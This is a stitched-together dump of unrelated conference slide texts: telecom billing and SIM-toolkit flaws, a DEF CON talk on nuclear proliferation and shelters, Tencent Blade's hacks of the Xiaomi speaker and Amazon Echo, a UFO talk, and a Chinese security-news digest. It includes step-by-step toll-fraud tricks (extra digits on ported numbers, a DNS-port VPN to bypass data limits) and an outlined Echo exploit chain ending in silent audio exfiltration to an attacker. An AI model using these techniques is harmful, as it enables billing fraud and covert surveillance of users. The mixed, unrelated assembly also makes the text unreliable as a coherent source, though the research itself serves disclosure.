1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
The type of message sent is addressed
directly to the SIM, by setting the PID to
0x7F, corresponding to USIM Data
Download
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
… then the ME shall pass the message
transparently to the SIM
… shall not display the message, or
alert the user of a short message
waiting
“
”
SIM
TOOLKIT
1
ETSI GSM 11.14
Bogdan ALECU
THE BUGGY WORLD
SIM
TOOLKIT
1
Security Parameter Indicator
Security Parameter Indicator
Security Parameter Indicator
Security Parameter Indicator
Bogdan ALECU
THE BUGGY WORLD
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
UDH (User Data Header): 027000
PID (Protocol ID): 7F
DCS (Data Coding Scheme): F6
000e0d00210000b20000aabbccddee00
CPL
CHL SPI SPI
0 0 1 0 0 0 0 1
KIc KID
TAR
CNTR
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
•
SIM card automatically replies to the
sending number
•
Nothing in Inbox, Outbox – only on
your bill
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
LET’S SEE IT IN ACTION!
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
Mobile operators have their own WAP /
WEB page for customers:
•
Balance check
•
Money transfer
•
Download music, videos, wallpapers
•
Subscribe to services (eg. custom
ringback tones)
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
User Agent Switcher https://addons.mozilla.org/en-
US/firefox/addon/user-agent-switcher/
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
•
Operators know who to charge based
on HTTP headers
•
Sniff the traffic your phone does and
look for the headers having mobile
number
•
“Privacy Leaks in Mobile Phone
Internet Access” by Collin Mulliner
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
7/8/2013
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
The old fashioned way of the attack
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
CSD (Circuit Switched Data)
•
Think about it like dial-up
•
Since it involves actually placing a
phone call, it is exposed to the same
vulnerabilities like a regular call
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
DEMO TIME!
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
Data traffic
3 vulnerability
Bogdan ALECU
THE BUGGY WORLD
•
What happens when you reach data
limit?
•
Have you ever tried to perform a DNS
query?
MOBILE
3 DATA TRAFFIC
Bogdan ALECU
THE BUGGY WORLD
But what if …
•
you setup a VPN server listening on
port 53 UDP (DNS port)
•
connect to this server and route all
the traffic
MOBILE
3 DATA TRAFFIC
Bogdan ALECU
THE BUGGY WORLD
Internet traffic
Works also in Roaming!
MOBILE
3 DATA TRAFFIC
Bogdan ALECU
THE BUGGY WORLD
4 The extra digit
Bogdan ALECU
THE BUGGY WORLD
Do you have a flat-rate plan with
unlimited minutes in the operator’s
network?
THE EXTRA
4 DIGIT
Bogdan ALECU
THE BUGGY WORLD
Do not try this at home!
•
Take a ported number that was in your
network
•
Add two more digits to the end of the
number
•
Place the call
•
You will be charged like calling in your
network
THE EXTRA
4 DIGIT
Bogdan ALECU
THE BUGGY WORLD
THE EXTRA
4 DIGIT
Bogdan ALECU
THE BUGGY WORLD
If that does not work…
-
try with one digit, all the digits
-
divert all calls to that number, but
add a digit at the end of it
THE EXTRA
4 DIGIT
Bogdan ALECU
THE BUGGY WORLD
5 Summary
Bogdan ALECU
SUmmary
“Our technology does not allow
unauthorized access. Occurrence of
errors in billing regarding data traffic or
voice is excluded.”
5 Summary
Bogdan ALECU
Summary
o Test yourself and report the issues to
your carrier
o Check if your carrier allows you to
disable access to premium rate
services
5 Summary
Bogdan ALECU
Summary
o Filter SIM command messages
o Do not rely only on the caller ID
o Always authenticate, do not forget
about privacy
5 Summary
F O R Y O U R A T T E N T I O N
THANK YOU
msecnet
www.m-sec.net
[email protected] | pdf |
D.I.Y. NUKEPROOFING
A NEW “DIG” AT “DATA-MINING”
D.I.Y. NUKEPROOFING
A NEW “DIG” AT “DATA-MINING”
@3ALARMLAMPSCOOT DEFCON 24
@3ALARMLAMPSCOOT DEFCON 24
BACKGROUND (RADIATION?)
(why?) didn't we do this last year?
BACKGROUND (RADIATION?)
(why?) didn't we do this last year?
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
-A lot of F.U.D. about
current and future nuclear
threats
-Civilian rad-hardening an
ongoing Achilles' heel,
lack of cogent preparedness
especially against EMP
-Ordering Tritium from
Thailand is bad, mkay?
-A lot of F.U.D. about
current and future nuclear
threats
-Civilian rad-hardening an
ongoing Achilles' heel,
lack of cogent preparedness
especially against EMP
-Ordering Tritium from
Thailand is bad, mkay?
SOME PHYSICS HISTORY
RELEVANT TO PROLIFERATION
SOME PHYSICS HISTORY
RELEVANT TO PROLIFERATION
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
-Neutrons, discovered in 1930,
are responsible for isotopes
of elements with differing
mass
-Fissile isotopes split when
bombarded by neutrons;
U-235, Pu-239 are important
regarding proliferation
-A critical mass can sustain a
reaction, critical assembly makes
a very dense softball into a
“physics package”(euphemism!)
-Neutrons, discovered in 1930,
are responsible for isotopes
of elements with differing
mass
-Fissile isotopes split when
bombarded by neutrons;
U-235, Pu-239 are important
regarding proliferation
-A critical mass can sustain a
reaction, critical assembly makes
a very dense softball into a
“physics package”(euphemism!)
THE MANHATTAN PROJECT
THE $26B* O.G.
O.G. OF PROLIFERATION
THE MANHATTAN PROJECT
THE $26B* O.G.
O.G. OF PROLIFERATION
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
-Little Boy: ~80% uranium-235
(HEU) “gun-type”device;
gaseous diffusion and calutron
enrichment. 13-18kt yield
-Little Boy: ~80% uranium-235
(HEU) “gun-type”device;
gaseous diffusion and calutron
enrichment. 13-18kt yield
Fat Man: 96% Pu-239 (WG Pu)
“implosion-type”device
(explosive lensing); X-10
reactor U-238 transmutation 20-
22kt yield
Fat Man: 96% Pu-239 (WG Pu)
“implosion-type”device
(explosive lensing); X-10
reactor U-238 transmutation 20-
22kt yield
*inflation-adjusted
*inflation-adjusted
BACK IN THE USSR
CRAZY LIKE A FUCHES: COPYING 'THE BOMB'
BACK IN THE USSR
CRAZY LIKE A FUCHES: COPYING 'THE BOMB'
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
Inside knowledge of the
Manhattan Project combined with
looting Germany's failed program
produces a 22kt Fat Man clone,
RDS-1 or "Stalin's Jet Engine"
Inside knowledge of the
Manhattan Project combined with
looting Germany's failed program
produces a 22kt Fat Man clone,
RDS-1 or "Stalin's Jet Engine"
Paranoia Protip
Exfiltration of sensitive
information is all but
inevitable despite what
seemed like reasonable
countermeasures at the
time.
Paranoia Protip
Exfiltration of sensitive
information is all but
inevitable despite what
seemed like reasonable
countermeasures at the
time.
THE GREAT NUCLEAR PISSING CONTEST
THE TELLER-ULAM DESIGN REVOLUTIONIZES FIREWORKS
THE GREAT NUCLEAR PISSING CONTEST
THE TELLER-ULAM DESIGN REVOLUTIONIZES FIREWORKS
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
Fission-Fusion staging allowed increased yields.
Castle Bravo (15MT yield) and Tsar Bomba (50MT yield) largest
Fission-Fusion staging allowed increased yields.
Castle Bravo (15MT yield) and Tsar Bomba (50MT yield) largest
THE 'ALSO-RANS', NPT & START
THE ONLY WINNING MOVE WAS NOT TO PLAY
THE 'ALSO-RANS', NPT & START
THE ONLY WINNING MOVE WAS NOT TO PLAY
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
After joining the nuclear club in 1952,
1960 and 1964 respectively, the UK, France
and China try to make it exclusive
ratifying the non-proliferation treaty.
US and USSR begin stockpile reduction
after SALT talks and START treaty,
After joining the nuclear club in 1952,
1960 and 1964 respectively, the UK, France
and China try to make it exclusive
ratifying the non-proliferation treaty.
US and USSR begin stockpile reduction
after SALT talks and START treaty,
Israel prefers
'nuclear ambiguity'
never signed NPT,
see 1979 Vela
Incident
Israel prefers
'nuclear ambiguity'
never signed NPT,
see 1979 Vela
Incident
M.A.D., a Kahn and a Khan
THE ONLY WINNING MOVE IS DIG DEEPER
M.A.D., a Kahn and a Khan
THE ONLY WINNING MOVE IS DIG DEEPER
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
John von Neumann's
Mutually Assured Destruction
-Rational Actors
-Correct Attribution
-Assured Destruction
John von Neumann's
Mutually Assured Destruction
-Rational Actors
-Correct Attribution
-Assured Destruction
Herman Kahn
Questioned credibility
of deterrence and coined
the term “megadeath”.
Herman Kahn
Questioned credibility
of deterrence and coined
the term “megadeath”.
Abdul Qadeer Khan
Improved the Zippe
centrifuge and dealt
it to Pakistan,
North Korea, Iran,
Iraq, Libya and an
unknown customer.
Abdul Qadeer Khan
Improved the Zippe
centrifuge and dealt
it to Pakistan,
North Korea, Iran,
Iraq, Libya and an
unknown customer.
REEXAMINING THE THREAT MODEL
GLOBAL THERMONUCLEAR WAR OR A POT SHOT?
REEXAMINING THE THREAT MODEL
GLOBAL THERMONUCLEAR WAR OR A POT SHOT?
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
1.4MT Starfish Prime shot over
Johnston atoll caused a
devastating electromagnetic
pulse, resulting Van Allen
belts destroyed a third of
satellites in low earth orbit.
1.4MT Starfish Prime shot over
Johnston atoll caused a
devastating electromagnetic
pulse, resulting Van Allen
belts destroyed a third of
satellites in low earth orbit.
Over half a century later,
civilian infrastructure
remains woefully unprotected
from even the smallest EMPs
Over half a century later,
civilian infrastructure
remains woefully unprotected
from even the smallest EMPs
TOMORROW'S DISRUPTIVE TECHNOLOGY
IS IN FACT FREAKIN' LASERS
TOMORROW'S DISRUPTIVE TECHNOLOGY
IS IN FACT FREAKIN' LASERS
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
SILEX Systems, the Australian startup that:
-Tried to commercialize laser enrichment
-Partnered with USEC and GE, spun off GLE
-First case of privately held information
classified by the U.S. Government
-Proliferation threat outside 'scope' of NRC
-GE-Hitachi announces intention to sell 76%
GLE stake in April 2016, citing poor market
-
SILEX Systems, the Australian startup that:
-Tried to commercialize laser enrichment
-Partnered with USEC and GE, spun off GLE
-First case of privately held information
classified by the U.S. Government
-Proliferation threat outside 'scope' of NRC
-GE-Hitachi announces intention to sell 76%
GLE stake in April 2016, citing poor market
-
A wild proliferation
assessment appears, calling
out carbon monoxide lasers
and concludes“the
possibility exists that
such a system may be
indigenously assembled”
A wild proliferation
assessment appears, calling
out carbon monoxide lasers
and concludes“the
possibility exists that
such a system may be
indigenously assembled”
A FUTURE OF ARMS CONTROL FAILURE
NATION STATES MAY NO LONGER DOMINATE
A FUTURE OF ARMS CONTROL FAILURE
NATION STATES MAY NO LONGER DOMINATE
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
-Undeclared/clandestine enrichment
facilities to become a widespread issue
-'Rogue States' like North Korea a
harbinger of smaller, less organized
proliferators with varied motives
-Technically sophisticated non-state
actors likely to proliferate and
maintain nuclear ambiguity
-Seizing uranium ore deposits perhaps
the last line of defense from
widespread proliferation until seawater
extraction of uranium matures
-Undeclared/clandestine enrichment
facilities to become a widespread issue
-'Rogue States' like North Korea a
harbinger of smaller, less organized
proliferators with varied motives
-Technically sophisticated non-state
actors likely to proliferate and
maintain nuclear ambiguity
-Seizing uranium ore deposits perhaps
the last line of defense from
widespread proliferation until seawater
extraction of uranium matures
SO WHAT DO YOU DO ABOUT IT?
START WITH THE LOW HANGING FRUIT
SO WHAT DO YOU DO ABOUT IT?
START WITH THE LOW HANGING FRUIT
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
-Small electronics can be easily
protected by a factor of over -80dB
stored offline in metal trash cans
taped shut with copper or aluminum to
prevent the slot antenna effect.
-Larger or running electronics may be
difficult to tailor harden and the cost
of replacement should be weighed
against extensive engineering efforts
-In areas where a ground burst or low
altitude nuclear explosion are
considered more probable, consider
engineering need for overpressure,
fire, spall and ionizing radiation
shielding!
-Small electronics can be easily
protected by a factor of over -80dB
stored offline in metal trash cans
taped shut with copper or aluminum to
prevent the slot antenna effect.
-Larger or running electronics may be
difficult to tailor harden and the cost
of replacement should be weighed
against extensive engineering efforts
-In areas where a ground burst or low
altitude nuclear explosion are
considered more probable, consider
engineering need for overpressure,
fire, spall and ionizing radiation
shielding!
SERIOUS IMPROVISED PROTECTION
START THINKING SUBTERRANEAN
SERIOUS IMPROVISED PROTECTION
START THINKING SUBTERRANEAN
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
-Drainage culverts used for
their intended purpose are
obviously disqualified!
-200psi overpressure protection can
be achieved with burial greater than
twice the culvert's diameter as
discovered in Upshot-Knothole Encore
-Drainage culverts used for
their intended purpose are
obviously disqualified!
-200psi overpressure protection can
be achieved with burial greater than
twice the culvert's diameter as
discovered in Upshot-Knothole Encore
Burial alone does not
necessarily provide EMP
protection if overburden is
poorly conductive! But it's
great for fire and ionizing
radiation...
Burial alone does not
necessarily provide EMP
protection if overburden is
poorly conductive! But it's
great for fire and ionizing
radiation...
CUT AND COVER METHODS AND MATERIALS
TUNE IN AT DEF CON 24!
CUT AND COVER METHODS AND MATERIALS
TUNE IN AT DEF CON 24!
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
GROK THE ROCK: IN-SITU SHELTERS
SO UNDERGROUND, EVEN THE HIPSTERS DON'T KNOW
GROK THE ROCK: IN-SITU SHELTERS
SO UNDERGROUND, EVEN THE HIPSTERS DON'T KNOW
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
-Purpose-built facilities can be
excavated from strata underlying
hard rock far more cheaply than
cut and cover
-Only appropriate below the water
table if you have long-term
backup power for pumps!
-Purpose-built facilities can be
excavated from strata underlying
hard rock far more cheaply than
cut and cover
-Only appropriate below the water
table if you have long-term
backup power for pumps!
-The Cheyenne Mountain facility
was excavated under (sometimes
brecciated) granite, rated 600psi
-The Cheyenne Mountain facility
was excavated under (sometimes
brecciated) granite, rated 600psi
US Army Technical Manual 5-858-8 was state of the art until FEA!
US Army Technical Manual 5-858-8 was state of the art until FEA!
HARD ROCK METHODS AND MATERIALS
TUNE IN AT DEF CON 24!
HARD ROCK METHODS AND MATERIALS
TUNE IN AT DEF CON 24!
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
@3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING | pdf |
About Us
• Li Yuxiang @Xbalien29
Security researcher, found several vulnerabilities in Android, Former ROIS CTF
team member, speaker of HITB 2018 AMS.
• Qian Wenxiang @leonwxqian
Security Researcher, Top 100 of MSRC list ( 2016 & 2017 ), Author of
"WhiteHat to talk about web browser security ".
•
Wu Huiyu @DroidSec_cn
Security Researcher, Bug Hunter, GeekPwn 2015 Winner, Speaker of HITB
2018 AMS and POC 2017.
Acknowledgement
@Gmxp, Team Leader of Tencent Blade Team.
@Lake2, Founder of Tencent Security Response Center.
Tencent Blade Team
• Founded By Tencent Security Platform Department.
• Focus on security research of AI, IoT, Mobile devices.
• Found 70+ security vulnerabilities (Google, Apple).
• Contact us: https://blade.tencent.com
Agenda
• Introduction to Smart Speaker
• Attack Surface
• Remote Attack Xiaomi AI speaker
• Breaking Amazon Echo
• Conclusion
Introduction to Smart Speaker
About Amazon Echo
About Xiaomi AI Speaker
Attack Surface
Smart Speaker
Mobile App
Cloud Server
Communication Protocol
Remote Attack Xiaomi AI Speaker
• A Brief Look At Xiaomi AI Speaker
• MIIO Ubus Command Execution
• Messageagent Command Execution
• Remote Exploit
• Demo
A Brief Look At Xiaomi AI Speaker
• Base on OpenWrt 15.05.1
• SSH Disabled
• Firmware Verification based on RSA
• Ports:
– UDP 54321 MIIO
– TCP 9999 UPNP
– UDP 53 DNS
MIIO Protocol
MIIO Ubus Command Execution
• Get MIIO protocol AES secret key (token)
- Use a unauthorized unbind vulnerability to remote reset MI AI speaker
- Bind MI AI Speaker to attacker’s account, extract token from MI Home
App’s database (/data/data/com.xiaomi.smarthome/databases/miio2.db)
MIIO Ubus Command Execution
• Disable dropbear password auth
• Start dropbear to open ssh
• Connect Speaker in LAN
MIIO Ubus Command Execution
Messageagent
Messageagent Command Execution
• Parser and execute ubus command
• Parser and execute system command
Remote Exploit
Demo
Breaking Amazon Echo
• A Brief Look At Amazon Echo
• Soldering & Desoldering Tools
• Flash Dump
• Root Amazon Echo by Modify Firmware
• Exploit Amazon Echo
• Demo
A Brief Look At Amazon Echo
MTK 8163 CPU
Mircon / Samsung
4GB EMCP BGA221
• Fire OS v5.5
(Based On Android 5.1)
• SELinux & ASLR enabled
• Bootloader Locked
• Ports:
TCP 55442 HTTP Server
TCP 55443 HTTPS Server
UDP 55444 Time Sync
UDP 55445 Device Sync
Soldering & Desoldering Tools
Amtech Tacky Flux
Solder Wick
Hot Air Gun
Soldering Iron
Solder Wire
Solder Paste
Reballing Tool
Desoldering Demo
Flash Dump
BGA211 EMCP Adapter + EMCP USB Reader
Flash Dump
Preloader
Bootloader
……….
Boot image
/system
/data
/sdcard
Root Amazon Echo by Modify Firmware
Modify /system/etc/init.fosflags.sh
Soldering Demo
Root Amazon Echo by Modify Firmware
Exploiting Amazon Echo:
On Basis of Software
3 Steps to Eavesdropping the Target
3 Big Problems Need to Be Solved
Vulnerable
Program
2
1
3
An Attacker is Always Happy to See
There’s a Web Server Available
Whole Home Audio Daemon (whad)
✓ root
✓ Able to record voice
✓ Network access
✓ Web server
Protocol
Port
Purpose
TCP
55442
HTTP Server (audio cache)
TCP
55443
HTTPS Server w/authentication (device control)
UDP
55444
Time Sync.
UDP
55445
Device Sync.
Client-authenticated TLS Handshake
• We need Server Certificate, Client Certificate and Private Key.
• Get them from libcurl’s negotiate function.
• Solution: Extract information from physically hacked device.
This one!
Bind the Hacked Device into Victim’s
Account First
Web Service Auditing
• XSSes we’ve found are hard to use, but it is fatal.
• Session based, some actions need re-login.
• Lack of modern protections.
Use Several Redirects to Mimic an XSS
• Alexa OpenID login redirect to any domain fits
https://*.amazon.com .
• assoc-redirect.amazon.com will redirect to an Amazon site
amazon.cn, amazon.co.uk …
• Validate rule: http(s)://*.amazon.com*.*/ (We guess).
• We need a downgrade: http://subdomain.amazon.com .
Restrictions
• Find an Amazon domain resolves to LAN address.
• Attacker can be joined into the LAN with that IP address.
Steal Cookies with the Redirect
• aapsservice.amazon.com, A Record(DNS A) resolves to a local
address 10.189.XX.XX.
• Attacker joins the LAN with IP statically set to 10.189.XX.XX,
and web server enabled.
aapsservice resolves to attacker in that LAN.
2 Big Problems Need to Be Solved
Vulnerable
Program
2
3
• When user login, we can get the cookies.
• Bind our device.
• We can communicate with other devices of victim.
DEAL WITH IT
Extract Certificates and Private Keys
From libcurl’s Negotiate Function
The Cloud Synchronize of Device Info
Device info obtained from Amazon when whad starts.
Patching Whad
• Whad HTTPS “ping” other devices periodically.
• Patch whad (of physically rooted device).
• Dump the certs and private keys we need!
• Benefit: No need to crack the complex algorithm.
• Simple and violent, but it works.
Get the Keys to Pwn
• Disable ASLR, SELinux of physically hacked device
• Dump Server Certificate, Client Certificate from the variant
which outputs adb log.
• Dump Private Key from negotiate function too, with a call to
PEM_write_PrivateKey() .
1 Big Problem Needs to Be Solved
Vulnerable
Program
3
• Every time before we would attack, we run patched whad
to get the certs & key.
•
“Firewall” of client authentication is broken.
DEAL WITH IT
DEAL WITH IT
Binary Auditing
• Amazon’s own code is secured by design.
• Echo’s using very old version of the 3rd party libraries.
• N days & 0 day.
Attack the Web Server, to Finally Get
Control of Whad
The Web Server -- libcivetweb
• The code is written 4 years ago.
• A failed condition check caused almost every type of
vulnerabilities in sequence in getParam().
• Nobody calls the vulnerable function until an update…
A Bad Move Leads to Chain Reaction
bool
CivetServer::getParam(struct mg_connection *conn,
const char *name,
std::string &dst,
size_t occurrence)
{
……
……
}
CVE-2018-12686
Fixed in June, 2018
Overflow the dlmalloc(0)
• dlmalloc(0) is valid.
16 bytes (8B metadata + 8B user data)
• mg_read() fix the input length ( uint -1 ):
int write_size = min(0xfffffff, actual length);
• POST data written into buffer.
• length of input > 8 bytes Heap buffer overflow
Shape the heap
• Shape the heap by sending HTTPS request.
• malloc() controlled by user.
• Sending or omitting \r\n\r\n to control the connection.
Bypass ASLR to Continue Our Attack
Heap spray
• Large heap allocation mmaped anonymous memory.
• Memory lays in a predictable range (even ASLR is enabled).
• In our case, which is 0xf15f1008 (empirical value).
• Heap spray and put our shellcode into this address.
Leak Addresses of Other Libraries
• Information leak via network?
• CVE-2017-1000254 of libcurl in FTP connection is exploitable.
• To reproduce the vulnerability
we need a FTP connection reuse.
Echo disabled many dangerous libcurl functions
Trigger the Hidden Code Path
• Playlist download Connection reuse!
• Accept only HTTP/HTTPS 302 Redirect to FTP.
• FTP 404 Prevent from caching.
• Command downloadAudio with extension .pls,
libcurl visits FTP server twice Address leaked!
Leaking the Address
• Payload length = 103 leak an function address by luck (~80%).
• Calculate libcurl’s base loading address.
• Calculate other libraries’ addresses based on leaked address.
Code Execution
• Overwrite the function pointer in SSL context object
• Webserver responding SSL_write
• Fastest way to trigger: malformed HTTP version header.
• Not safe if you compile this code on Windows, did you see
that? ☺
Attacking Primitives
• Restart the whad
• Information leak
• Heap maintaining
• Heap freeing
• Fast SSL_write call
• Create any size of heap
• Use different types of connection to obtain ideal heap layout.
• Combine them to get an RCE.
Time to PWN
Entrust The Hack to Time
• Challenge: disturb from background threads.
• ~40% for a testing gadget (4 Bytes)
• Real life gadget is 24 bytes, success rate down to ~8%.
• But whad is respawned after crash automatically.
• The only thing we need is time ☺ (avg. 30 min per success).
The Shellcode
• Almost same system version on every Echo device
->We don’t need to adapt for many versions
• fork() to prevent crash
• Handlers for SIGSEGV/SIGABRT
• Send the data via TCP to attacker
Deal with It
whad
• Whad is now turning into a eavesdropping program.
• It’s eavesdropping silently and it’s sending every voice
data to the attacker.
DEAL WITH IT
Demo Video
Updates
• Reported to Xiaomi in April, fixed in May, received $25,000
USD bonus.
“Thanks to the Tencent Blade Team for the support of Xiaomi's product
safety. All reported vulnerabilities have been fixed to ensure maximum
user security.”
• Reported to Amazon in May, fixed in July.
“Amazon would like to thank the Tencent Blade Team for working with us
on resolving this issue. Customer trust is important to us and we take
security seriously. Customers do not need to take any action as their
devices have been automatically updated with security fixes.”
Conclusion
• Exploit Source Code:
– We will update full exploit code to Github in the future:
https://github.com/tencentbladeteam
• Hack tips:
– Get the firmware first.
– It’s good to master all kinds of soldering and firmware extraction
methods.
– Web Vulnerabilities + Binary Vulnerabilities Remote Exploit.
– Be patient.
Thank You
https://blade.tencent.com
Contact us
https://security.tencent.com
Our Bug Bounty Program
Q & A
https://blade.tencent.com
Contact us
https://security.tencent.com
Our Bug Bounty Program
Reference
https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-
authenticated_TLS_handshake
https://github.com/civetweb/civetweb
http://www.openwall.com/lists/oss-security/2018/02/27/5
https://github.com/aholstenson/miio
https://twitter.com/fjeronimo/status/975781623127068674
https://github.com/jhautry/echo-dot | pdf |
Richard Thieme - DefCon 29 - August 6, 2021
UFOs
Misinformation, Disinformation, and the Basic Truth
Date: September 25, 1947
From: Lt. General Nathan Twining
To: Commanding General of the Army Air Forces; Brig. General George Schulgen
Subject: Air Materiel Command Opinion Concerning "Flying Discs"
... It is the opinion that:
a. The phenomenon reported is something real and not visionary or fictitious.
b. There are objects probably approximating the shape of a disc. Of such appreciable size
as to appear to be as large as man-made aircraft.
c. The reported operating characteristics such as extreme rates of climb, maneuverability,
and action which must be considered evasive when sighted by friendly aircraft and
radar ..."
https://science.howstuffworks.com/space/aliens-ufos/rb-47-ufo.htm
An Introduction to the RB47 Incident
www.minotb52ufo.com …
A NARRATIVE OF UFO EVENTS AT MINOT AIR FORCE BASE
CASES
CASES
CASES
READ THEM
READ THEM
READ THEM
THE WAY FORWARD
https://thiemeworks.com | pdf |
统计时间:2021-11-08-2021-11-15
技术节点
[360安全客] Apache httpd Server CVE-2021-41773 漏洞分析
Apache httpd Server 2.4.49 版本引⼊了⼀个具有路径穿越漏洞的新函数，但需要配合穿越的⽬录配置
Require all granted，攻击者可利⽤该漏洞实现路径穿越从⽽读取任意⽂件，或者在配置了cgi的httpd程序
中执⾏bash指令，从⽽有机会控制服务器。
[360安全客] OMIGOD：CVE-2021-38647 OMI远程代码执⾏漏洞分析
微软在2021年9⽉的补丁更新中，修复了其Open Management Infrastructure (OMI) 中的多个漏洞，其中
最为严重⼀个是远程代码执⾏漏洞，编号为CVE-2021-38647，也被称为OMIGOD，该漏洞影响OMI 1.6.8.0
及以下版本。
[360安全客] 劫持 Golang 编译
前段时间学习了 0x7F 师傅的「dll 劫持和应⽤」，其中提到通过 dll 劫持来劫持编译器实现供应链攻击，不
由想到 Go 中的⼀些机制也可以⽅便地实现编译劫持，于是做了⼀些研究和测试。
[360安全客] 从零开始开发CS beacon（⼀）
前段时间，出了⼀个beaconEye的项⽬，以及golang版本的EvilEye通过扫描内存，由于以前为了防⽌被扫描
beacon配置都是改XOR值，但是最终内存⾥⾯的都已经被还原出来，所以也是能此⼯具被解析出配置。
[360安全客] 应急响应⼊⻔篇-windows分析排查技术（上）
⼀般情况下，各种⽊⻢，病毒等恶意程序，都会在计算机开机启动过程中启动。
[360安全客] glibc2.31下通过IOAttack开启ROP
我个⼈更喜欢第⼀种思路, 只需要顺便设置⼀个可读可写地址, 就不⽤费⼼思中转了。
[360安全客] OpenStack 远程代码执⾏（CVE-2021-40085）分析
这篇⽂章将描述我在OpenStack中发现的漏洞，基于多种因素的巧妙结合，该漏洞可以实现远程代码执⾏。
产⽣该漏洞的根本原因很简单，但是对其进⾏成功的利⽤需要很⼤⼯作量，我将对此进⾏讲述。
[360安全客] 深耕保护模式
X86 CPU的3个⼯作模式：实模式、保护模式和虚拟8086模式。
[360安全客] 垂直攀登，2021 OSCP AK之旅
先介绍⼀下OSCP报名之前个⼈的基础，以供参考。
[360安全客] InCTF 2021 国际赛 - kqueue 复现及简要分析
InCTF 国际赛据称为印度的“强⽹杯”，⽐赛时笔者所在的战队没有报名所以未能参加，赛后笔者看到了
Scupax0s 师傅的 WP后把其中⼀道kernel pwn简单复现了⼀下，感觉还是挺不错的⼀道 kernel pwn ⼊⻔
题。
[360安全客] 第⼆届华为武汉研究所11·9⽹络安全⼤赛PWN Writeup
时间：2021.10.31，地点：华为武汉研究所，战队：天命。
[Github关注] ASkyeye forked ASkyeye/NGLite from Maka8ka/NGLite
A major platform RAT Tool based by Blockchain/P2P.Now support Windows/Linux/MacOS
[Github关注] ASkyeye forked ASkyeye/Rubeus-GUI from VbScrub/Rubeus-GUI
Front end for the command line Rubeus tool
[Github关注] ASkyeye forked ASkyeye/HEVD-CSharpKernelPwn from daem0nc0re/HEVD-
CSharpKernelPwn
CSharp Writeups for HackSys Extreme Vulnerable Driver
[Github关注] ASkyeye forked ASkyeye/ShellLink from securifybv/ShellLink
A .NET Class Library for processing ShellLink (LNK) files
[Github关注] S3cur3Th1sSh1t starred diversenok/TokenUniverse
/* Under development */ An advanced tool for working with access tokens and Windows security
policy.
[Github关注] WBGlIl starred UnauthorizedAccessBV/ESET-Protect-Docker-Server
[Github关注] jas502n starred rule110-io/surge
Surge is a p2p filesharing app designed to utilize blockchain technologies to enable 100% anonymous
file transfers. Surge is end-to-end encrypted, …
[Github关注] moloch-- starred ctaggart/froto
Froto: F# Protocol Buffers
[Github关注] ASkyeye forked ASkyeye/elfloader from gamozolabs/elfloader
An architecture-agnostic ELF file flattener for shellcode
[Github关注] moloch-- starred gamozolabs/elfloader
An architecture-agnostic ELF file flattener for shellcode
[Github关注] FunnyWolf forked FunnyWolf/gitlab-version-nse from righel/gitlab-version-nse
Nmap script to guess* a GitLab version.
[Github关注] jas502n created a repository jas502n/GitlabVer
gitlab version index
[Github关注] CHYbeta starred oracle/docker-images
Official source for Docker configurations, images, and examples of Dockerfiles for Oracle products
and projects
[Github关注] zu1k released 0.4.4 at zu1k/sdusrun
[Github关注] Rvn0xsy made Rvn0xsy/rotateproxy-action public
rotateproxy-action
[Github关注] huoji120 starred zeroSteiner/rule-engine
A lightweight, optionally typed expression language with a custom grammar for matching arbitrary
Python objects.
[Github关注] pmiaowu released HostCollision-2.1.5 at pmiaowu/HostCollision
[Github关注] TheKingOfDuck starred joernio/joern
Open-source code analysis platform for C/C++/Java/Binary/Javascript based on code property graphs
[Github关注] zt2 starred ffuf/ffuf
Fast web fuzzer written in Go
[Github关注] jas502n starred iceyhexman/flask_memory_shell
Flask 内存⻢
[Github关注] Lz1y starred jas502n/GitlabVer
